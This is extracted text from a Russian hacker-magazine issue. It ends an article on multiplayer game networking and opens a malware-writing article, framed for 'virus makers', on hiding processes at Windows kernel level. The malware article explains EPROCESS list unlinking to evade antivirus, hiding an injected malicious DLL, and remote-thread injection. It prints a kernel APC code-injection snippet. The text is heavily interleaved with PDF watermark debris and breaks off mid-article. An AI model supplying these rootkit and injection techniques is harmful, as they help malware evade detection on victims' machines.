поudp; номероткрытогоudp портанаэтомсервере; время ожидания(всекундах) ответаотсервера; количествопотоков(этотпараметраналогиченодноименномувфункции mnStartServer ирассмотренвыше). Вслучаеуспехаподключенияданнаяфункциявозвращает1, 0 — поистечении времениожиданияи–1 — вслучаеошибки. Анализируявозвращаемоезначение, нашафункцияmakeConnect выводит диагностическиеданные. Несмотрянато, чтодляtcpиudp- подключенийip-адресапередаютсявразныхпараметрах, MikeNet неможетработатьсдвумяразнымисерверами, поэтомунеобходимоуказыватьip-адресодногоитогоже сервера. Послеудачногосоединениязагружаетсяигра. Замечу, чтовлюбомизменювсегдаестьвозможностьпокинутьего, вернувшисьвначальное. Такоевзаимодействие междуфункциямиосуществимоблагодарявозвращению (почти) каждойфункциейбулевскогозначения: успешно илинетвыполненатаилиинаяоперация. Вовремязагрузкимногопользовательскойигрыпроисходиттакаяже инициализация, чтоиприодиночной. Таккакглавными действующимилицамиявляютсяроботы, ихклассдолжен содержатьпеременную-член— идентификатормультиплеернойигры. Этосделановсвязиспростымирассуждениями: еслироботжив, онвонлайне(клиентвонлайне), аесли убит, тогдавотключке. Ещеоднапеременная, добавленная вклассроботов— этоcnumber, котораяхранитномерклиентавпорядкеподключенияксерверу. Всвязистем, чтоэти

HTTP://WWW

links www.thegamecreators. com — сайтразра-

ботчикаDark GDK.

DVD

dvd

Надискележит полныйисходный кодфинальной версиимногопользовательскойигры

DarkRobot, дляком-

пиляциикоторого нужны: Visual C++ 2008 Express Edition, DirectX 9.0 SDK, Dark GDK, MikeNet.

INFO

info

Еслитематебя заинтересовала, сообщиобэтомавтору, продолжимразвитие хакерскогоигропрома.

XÀÊÅÐ 05 / 125 / 09

103

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

++++ BUY

>>m

 

 

 

 

 

coding

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

++++

++++

++++

++++

++++

++++

++++

++++

++++

ДОБАВЛЕНИЕДОПОЛНИТЕЛЬНЫХЗАВИСИМОСТЕЙ

++++

идругиепеременные закрыты, в класс также добавлены функции, изменяющие и возвращающие значения этих переменных.

++++Кратко их рассмотрим: функции SetNumber

иGetNumber соответственно устанавливают и возвращают значение переменной cnumber, SetLifeCount и GetLifeCount

++++устанавливают и возвращают количество жизней. GetWinCount возвращает коли-

чество набранных фрагов, а ZeroWinCount обнуляет эту переменную. И последняя пара:

++++SetMultiplayerMode и GetMultiplayerMode,

соответственно, устанавливают и возвраща-

ют режим игры (для переменной-члена робота). Что еще касается файла Robot. cpp,—

++ ++ конструктор и деструктор робота претерпели небольшие изменения: роботы-враги рожда- ются невидимыми и неактивными. Деструк-

тор проверяет — если уничтожается робот

++++главного персонажа, то клиент отключается от сервера (с помощью функции mnFinish, не имеющей параметров). Стоит заметить, что именно в функции-члене класса роботов

++++Die увеличивается счетчик фрагов. Для этого осуществляется проверка, кем был убит тот или иной оппонент, и, если убийца — это главный персонаж, ему добавляется 1 фраг.

++++Подсчеты ведутся для каждого клиента отдельно, но благодаря статистике, которую ведет сервер, данные синхронизируются.

Вернемся в Main. cpp. Кроме всего прочего, теперь, при создании главного робота, его местоположение выбирается случайным образом. И хотя враги создаются с заданными по умолчанию координатами, после подключения очередного клиента и создания его робота (на его машине) один из врагов (первый неактивный) активизируется и входит в игру с координатами робота-оппонента.

Ниже по коду мы попадаем в основной цикл, где вместо взаимодействия с объектами сначала идут сетевые работы, то есть проверки на приходящие пакеты разных типов. Но сетевые работы производятся только в том случае, если у главперсонажа включен мультиплеерный режим (читай выше). Поскольку пакеты с данными о появлении нового, а также с данными об уходе старого

клиента передаются с сервера по tcp, значит, его мы и должны прослушивать. Функция mnRecvTCP проверяет входящий tcp-поток. У нее есть лишь один параметр, который для клиентской стороны не имеет значения, поэтому равен NULL. Если входящих пакетов не обнаружилось, то функция возвращает 0, а если один или несколько пакетов есть, тогда она возвращает число больше 0 (= числу пакетов, стоящих в очередь на обработку). Рассмотрим сценарий, по которому пакет пришел. Из него извлекаются два значения:

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

номера операции и клиента. Затем проверяется, какая это операция: tcp-операций всего две (смотри начало абзаца). Если операция — «Новый клиент», то в цикле ищется неактивный робот. В случае нахождения он становится активным и привязывается под управление от вновь подключившегося

клиента. Если же операция — «Клиент ушел», то в цикле снова производится поиск по всем вражеским роботам с целью обнаружить робота с номером (cnumber, возвращаемым функцией GetNumber), равным номеру клиента, отправившего сообщение об уходе. После того, как номера совпадут, найденный вражеский робот уничтожается.

После проверки tcp проверяется udp. Операций UDP тоже два типа: первый — это манипуляция объектом (роботом) (PositionClient), а второй — сообщение, представляющее собой сигнал о победе (Win). С обработкой пакета первого типа все более или менее ясно: этот фрагмент кода похож на код, рассмотренный в серверном исходнике, когда данные принимались от одного определенного клиента и отправлялись остальным. Только здесь вместо формирования и отправки пакета принятые данные участвуют в манипуляции над объектом: перемещение и поворот с помощью функций Dark GDK. Тут же проверяется, выстрелил ли клиент. На этом

++++

104

XÀÊÅÐ 05 / 125 / 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

>> coding

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ЛИМИТФРАГОВРАВЕНТРЕМ

выполнение операции и первый условный оператор, относящийся к операции PositionClient, завершаются, и далее идет второе условие, которое проверяет отношение операции ко второму типу — Win. Если сервер действительно отправил пакет udp с такой операцией, значит, кто-то набрал нужное количество фрагов. Игра завершена, и надо вывести таблицу результатов. Конечно же, мы реализовали

вигре такую возможность! Но прежде, после того, как стало ясно, что пришел win-пакет, мы должны извлечь из него информацию, поскольку в этой посылке содержатся имена всех клиентов вместе

счисленным выражением их ратных подвигов. Для этого в цикле мы заполняем массив переменных структурного типа, объявленного ранее данными из пакета. Теперь вся итоговая таблица сохранена

вмассиве. Далее удалим из памяти динамические объекты, скроем статические и вызовем самописную функцию NetGameOver, которая, собственно, обработает массив с данными и выведет их на экран

ввиде двух столбцов.

По завершении условных операторов следует код формирования

и отправки udp-пакета. С этим мы уже знакомы (для освежения памяти смотри раздел «Сервер»).

ИЗБЕГАЕМНЕПРИЯТНОСТЕЙ

Унас остались два нерассмотренных вопроса:

Зачем, все-таки, отправлять и изменять (вне геймплея) количество жизней?

Почему после того, как отправляется пакет с лимитом фрагов, переменная-член обнуляется?

На второй вопрос ответ прост: чтобы сигнал о победе был отправлен лишь однажды. А количество жизней отправляется, чтобы синхронизировать клиентов. Объясню подробнее. Например, в битве участвуют три робота. У каждого разное количество жизней. Один погибает, а когда возвращается в игру, его клиентская часть создает динамические объекты заново, добавляя врагов и раздавая им по максимуму жизней (хотя в виртуале у них может быть меньше). Поэтому, когда он будет стрелять по противникам, они уже помрут,

ОТРЕДАКЦИИ

Предыдущие статьи цикла вышли в номерах zза октябрь, ноябрь и декабрь прошлого года («Темное искусство — игродела», «Игра в одни ворота», «Темное искусство игродела, часть 3»). На этом мы хотели было завершить цикл «Темное искусство игродела», посчитав его несколько унылым, но читатели с нами не согласились. Они проспамили мыло редактора рубрики требованиями обещанного завершения банкета — статьи про мультиплеер. Мы были вынуждены запросить пощады. Приносим свои извинения — вот она, эта статья.

XÀÊÅÐ 05 / 125 / 09

а на его машине — останутся живы, так как жизней-то у них больше, чем в реальности. Во избежание этой неприятной ситуации клиенты сообщают своим оппонентам, сколько у них жизней в реале, и происходит синхронизация между клиентами. В синхронизации, по большому счету, и заключается основная трудность разработки онлайновых игр.

Кстати, наконец-то, в игре появилась пауза! Теперь, при нажатии Escape во время игры, она не завершит свою работу, как можно было ожидать. Напротив, перед юзером откроется (снова) консольное меню, в котором будет написано, какие клавиши для чего. Последнее, на что надо обратить внимание, это изменения в файле Game_Obj. h. В нем только изменен прототип функции Die. Если раньше она была чисто виртуальной, поскольку во всех классахпотомках использовалась без изменения прототипа, то сейчас в классе роботов в деструктор добавился параметр, и поэтому она перестала быть чисто виртуальной.

Мы рассмотрели новый, связанный с мультиплеером код, погрузились во все хитросплетения сетевых игр и разработали многопользовательскую баталию на основе игрового движка DarkRobot. Если ты прочитал все статьи цикла, то уже знаешь толк в игростроении, искусно владеешь техникой создания компьютерных игр и, вообще, являешься светлым джедаем, которому предстоит длинный путь к вершине мастерства! Как ты воспользуешься этими знаниями, зависит только от тебя. Вариантов масса: возможно, ты будешь программистом в какой-нибудь крутой фирме и своим талантом поможешь российской игровой индустрии, может быть, махнешь за океан, чтобы помочь местным: а может быть, откроешь свою

студию, где будешь проводить исследования в области электронных развлечений и разработаешь абсолютно новый игровой жанр!

ЗАКЛЮЧЕНИЕ

В заключение хочу отметить положительные и отрицательные стороны использования интерфейсного ПО (middleware), к которому, в частности, относится Dark GDK. Конечно, автор знаком с заверениями типа: «Зачем мне нужна какая-то надстройка, есть же DirectX!». Да, yurembo и сам в детстве так говорил, но тогда у него не было нормального графического акселератора, и он все игры писал под DirectDraw, огрызаясь направо и налево. Сейчас же, когда крутые 3D-ускорители есть практически у каждого, подобный консерватизм будет выглядеть очень странно. Поэтому, воспользовавшись интерфейсным ПО, которое порой абсолютно бесплатно (как в рассматриваемом случае), можно сократить время на разработку игрового (в частности, графического) движка, и посвятить его вещам творческим: обдумыванию сюжета и проработке геймплея! Если тебе захочется еще что-нибудь узнать о разработке игр (в частности, о кодировании движков), то пиши, yurembo всегда открыт для общения. Удачи тебе во всех начинаниях, игродел! z

105

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

++++ BUY

>>m

 

 

 

 

 

 

 

coding

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

EPROCESS

EPROCESS

EPROCESS

++++

 

 

 

 

KPROCESS

KPROCESS

KPROCESS

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

++++

 

 

 

 

LIST_ENTRY {

LIST_ENTRY {

LIST_ENTRY {

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

FLINK

FLINK

FLINK

++++

 

 

 

 

BLINK )

BLINK )

BLINK )

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

++++

 

 

 

АЛЕКСАНДР ЭККЕРТ

 

 

 

 

 

 

 

 

 

 

 

 

/ALEKSANDR-EHKKERT@RAMBLER.RU /

++++ВИРМЭЕЙКЕРСКИЕ

++++ТИПСЫИТРИКСЫ

++++ИГРАВПРЯТКИНАУРОВНЕЯДРА

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

++++

++++

++ ++

++++

ПроцессывWindows (какивлюбойдругойОС) — этонашевсе. Отядра докалькулятора, операционнаясистемапредставляетсобойлишь наборпроцессов. Когдатыдваждыкликаешьназначоккакой-нибудь программки, чтобызапуститьее, внедрахсистемыприводятсявдействиеогромныересурсы, выделяетсяпамять, вызываютсядесятки Native API... Исегоднямыпоговоримотом, какэффективноиспользоватьэтиресурсыврешениинетривиальныхзадачприработеспроцессаминауровнеядраWindows.

++++

 

 

ПРОЦЕССЫВWINDOWS

Любойпроцесссостоитиз:

адресоввиртуальнойпамяти, которымможет

 

 

 

 

 

 

СнекоторойнатяжкойпроцессомвWindows

• структурданных, содержащихвсюинформа-

пользоватьсяпроцесс(4 GB, еслипомнишь);

 

 

 

можноназватьнаборбайтвоперативной

циюопроцессе, втомчисле, списокоткрытых

• исполняемогокодаиданных, которые

 

 

 

 

 

 

памяти. Этоесливцелом. Авчастности— про-

дескрипторовразличныхсистемныхресурсов,

проецируютсяввиртуальноеадресноепро-

++++

 

 

цессомобычноназываютэкземплярпрог-

уникальныйидентификаторпроцесса, различ-

странствопроцесса.

 

 

 

раммы, загруженнойвоперативнуюпамятьи

нуюстатистическуюинформациюит.д.;

Мало-мальскиопытныйкодерзнает, чтосоз-

 

 

 

выполняемойWindows.

• адресногопространства— диапазона

даниеWin32 процессаосуществляется

++++

106

XÀÊÅÐ 05 /125/ 09

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

codingw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

УТИЛИТАPE-TOOLS ПОКАЖЕТDLL, ЗАГРУЖЕННЫЕВПРОЦЕСС

вызовомоднойизтакихфункций, какCreateProcess, CreateProcessAsUser (дляWin NT/2000) и CreateProcessWithLogonW (начинаясWin2000) ит.д. Но всеэтокасаетсятолькоюзермода. Еслипосмотретьна созданиепроцессанауровнеядра, товолосыначнутшеве-

ИСПОЛЬЗОВАНИЕ

APC ДЛЯ

ИНЖЕКТАКОДА

pMdl = IoAllocateMdl(pPayloadBuf,

dwBufSize, FALSE, FALSE, NULL);

MmProbeAndLockPages(pMdl, KernelMode,

IoWriteAccess);

KeStackAttachProcess(pTargetProcess,

&ApcState);

MappedAddress =

MmMapLockedPagesSpecifyCache(pMdl,

UserMode, MmCached, NULL, FALSE,

NormalPagePriority);

KeUnstackDetachProcess(&ApcState);

KeInitializeEvent(pEvent,

NotificationEvent, FALSE);

KeInitializeApc(pApc, pTargetThread,

OriginalApcEnvironment, &MyKernelRoutine,

NULL, MappedAddress, UserMode, (PVOID)NULL);

KeInsertQueueApc(pApc, pEvent, NULL, 0);

литьсяоттогоколичестваресурсовисистемныхвызовов, которыеОСзадействуетприсозданииновогопроцесса! ЗаподробностямиотсылаютебяккнигеМ. Руссиновича иД.Соломона«ВнутреннееустройствоWindows», хотя, по правде, спрограммистскойточкизренияонамалочтодаст. Поэтому, еслитебязаинтересуетпрограммныйпроцесс созданияизапускапроцессаизядра, пишимненамыло, обсудим.

Чтожеможетдатьчестномухакерудоступкадресному пространствупроцесса? Давсечтоугодно! Отизменения данныхпроцессаиманипулированияегоокружением, вплотьдозапускасвоегозловредного(илинеочень) кода вчужомадресномпространстве.

Получитьдоступкадресномупространствучужогопроцессаможно, всеэтиспособыхорошодокументированы. Одно плохо— онидовольноэффективнопалятсяпроактивками испециальнымиутилитами. Чтоделать? Лезтьвнулевое кольцо! Ужтам-тонамникакойNOD илиКасперскийперечитьнебудет!

СОКРЫТИЕПРОЦЕССА

Былараньшетакаяфича— заказчикималвари, следуя моднымтенденциям, требовалиотпрограммиста«шобв процессахневиднабыла». Этоисейчасдовольнораспространенныйхакерскийприем, нацеленныйнасокрытие отбдительныхглазпроцессатрояна(руткита, вирусаи пр.). Оговорюсьсразу, чтоспособа, гарантирующего100% невидимостьпроцессадляразличныхутилит, антивирейи проактивныхзащит, несуществует. Скрытыйпроцессможновыявитьвсегда. Как? Подробностиможешьпочитатьна www.wasm.ru.

ДляскрытияпроцессоввUser Mode обычноиспользуется технологиявнедрениясвоегокодавчужиепроцессыи

HTTP://WWW

links

• Длялучшего усвоенияматериала советуюстатьи(на английском): «What Goes On Inside Windows 2000: Solving the Mysteries of the Loader» (на MSDN), «Three Ways to Inject Your Code

into Another Process»

(www.codeproject. com/threads/winspy. asp) и«Dll Injection»

(www.codebreakersjournal.com/content/ view/127/97).

XÀÊÅÐ 05 /125/ 09

107

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

 

 

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++ BUY

 

>>m

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

coding

 

 

 

w Click

 

 

 

 

 

 

m

w Click

to

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

g

.c

 

 

 

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

n

e

EPROCESS

EPROCESS

EPROCESS

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

KPROCESS

 

KPROCESS

KPROCESS

 

 

 

 

 

 

 

 

 

 

 

 

+++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

перехватафункцииZwQuerySystemInformation(SystemProc

PEPROCESS ePROC = PsGetCurrentProcess().

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

essesAndThreadsInformation , ...) изntdll.dll. Оносплайсит-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WARNING

сяиизполученногоспискаубираетсяинтересующийнас

Небудемсейчасразбирать, какименноонадействует—

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

процесс.

 

 

еслиинтересно, покопайсявотладчике. ВызовомZwQuer

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Впрочем, небудемуглублятьсявданнуютему, апоговорим

ySystemInformation(SystemProcessesAndThreadsInformat

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

LIST_ENTRY {

LIST

ENTRY {

LIST_ENTRY {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

warning

отом, какскрытьпроцесс, находясьвядреWindows. Сплай-

ion, ...) находимнужныйнампроцессизобщегосписка(по

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ситьничегонебудем, посколькуэтооченьлегковыявить.

PID’упроцессаилипоегоимени). Затемнемногопоколдуем

 

 

 

 

 

 

 

 

 

++++

 

 

 

• ВядреWindows

Мыпойдемдругимпутем. Техниканенова, нодостаточно

сдвусвязнымиспискамиизструктурыEPROCESS и... вуаля!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

FLINK

эффективна.

FLINK

FLINK

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

отбилдакбилдуво

 

 

запущенныйпроцессисчезаетизменеджеразадач.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

многихсистемных

КаждыйпроцессвОСWindows представленструктурой

Вот, впринципе, ивсе. Драйвер, реализующийсокрытие

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

структурахменяются

EPROCESS. Кромеатрибутов процесса, онассылаетсяна

процессаизменеджеразадач, ищинадиске.

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

BLINK )

 

BLINK )

BLINK )

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

смещения. Всегда

несколькодругихструктур, связанныхсвыполняющимся

СОКРЫТИЕ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

держиподрукой

процессом. Например, скаждымпроцессомсвязанодин

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

прогутипаPdbDump,

или несколькопотоков, представленныхвсистеместрук-

ЗАГРУЖЕННОЙ

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

котораяпоможеттебе

туройETHREAD. СтруктурыEPROCESS, всвоюочередь,

ВПРОЦЕССDLL

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

находитьнеобходи-

связанывкруговойдвусвязныйсписок— тоесть, прошу

Частомалварьпоставляетсяконечномуюзерунекак

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мыесмещения.

прощениязатавтологию, вкаждойтакойструктурепри-

отдельныйexe-шник(посколькуеголегкоотловить), а

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сутствуетуказательнаLIST_ENTRY, содержащийуказатели

какотдельнаябиблиотекаdll, подгруженнаявадресное

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

напредыдущуюипоследующуюструктуры. Нашацель—

пространствокакого-нибудьпроцесса. Ачто, совсемне-

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

найтитекущийEPROCESS, пробежатьсяповсемусписку,

дурно: отдельногопроцессанет, аискатьподгруженную

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

найтипроцесс, которыйнадоскрыть, послечегослин-

dll вадресномпространстведругогопроцесса— задача

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

коватьпредыдущийипоследующийпроцессы. Приэтом

трудоемкая. Этотнехитрыйхакерскийприемзаключается

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

обязательнонадопомнитьотом, чтовWindows отбилдак

втом, чтобызаписатьвпамятьчужогопроцессасвойкод

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

билдуменяется«состав» недокументированныхструктури,

черезвызовVirtualAllocEx/WriteProcessMemory изатем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

соответственно, смещениянанужныенамполя.

выполнитьегопосредствомCreateRemoteThread.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Первое, чтонужносделать, этополучитьуказательна

Впрочем, справедливостирадискажу, чтотрюкпалится

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

структуруEPROCESS. Этоделаетсявызовомфункции

антивирями. Попробуемнемногоосложнитьимжизнь—

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

PsGetCurrentProcess():

 

 

скроемнашузловреднуюdll изсписказагруженныхвАП

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

БЛОКНОТЗАПУЩЕН, НОВСПИСКАХПРОЦЕССАНЕТ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

+++

+++

+++

+++

+++

+++

+ ++

+++

+++

108

XÀÊÅÐ 05 /125/ 09

 

 

Соседние файлы в папке журнал хакер